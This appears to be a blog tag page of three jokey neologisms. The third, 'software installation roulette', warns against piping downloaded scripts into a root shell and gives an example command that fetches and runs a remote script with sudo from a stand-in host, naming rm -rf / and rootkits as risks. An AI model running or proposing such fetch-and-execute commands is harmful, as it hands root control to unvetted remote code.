Tag: neologisms

  1. Neologism: Reality segmentation violation

    20 January 2021

    reality segmentation violation - noun phrase - A syndrome in which someone is so deep inside their own little world that any utterly mundane activity can provoke a combination of emotional upset, anger, confusion because they simply never think about it. In children this phenomenon also typically includes running to authority figures to inform on someone in the most agitated way possible. This is bewildering to just about anyone nearby who is not focused solely on their own little worlds.

    A sample stack trace of a reality segmentation violation:

    A: "Hey - you pooped in the bathroom!"

    B: "Yes.... and?"

    A: "But but …

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  2. Neologism: Cigarette principle

    17 November 2020

    cigarette principle - noun phrase - The phenomenon in which, if you want something to happen sooner, you should do something that will immediately inconvenience you during the act of that something occurring.  Comes originally from the act of making a public transit bus arrive faster by lighting up a cigarette, which would of course cause you to ditch the smoke, dig out your bus pass or change, board and pay for the ride.  Generalizes effectively.

    h/t: Mom

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  3. Neologism: Software installation roulette

    08 May 2020

    software installation roulette - The practice of piping the output of a web browser or other HTTP tool directly through a system shell, usually as root to install something important.  The danger is that you don't know if the shell script has anything nefarious in it (such as rm -rf / or the installation of a rootkit) and by the time you find out it's far too late.

    For example: sudo bash -c "$(wget -q -O- https://totally.legit.example.com/install.sh)"

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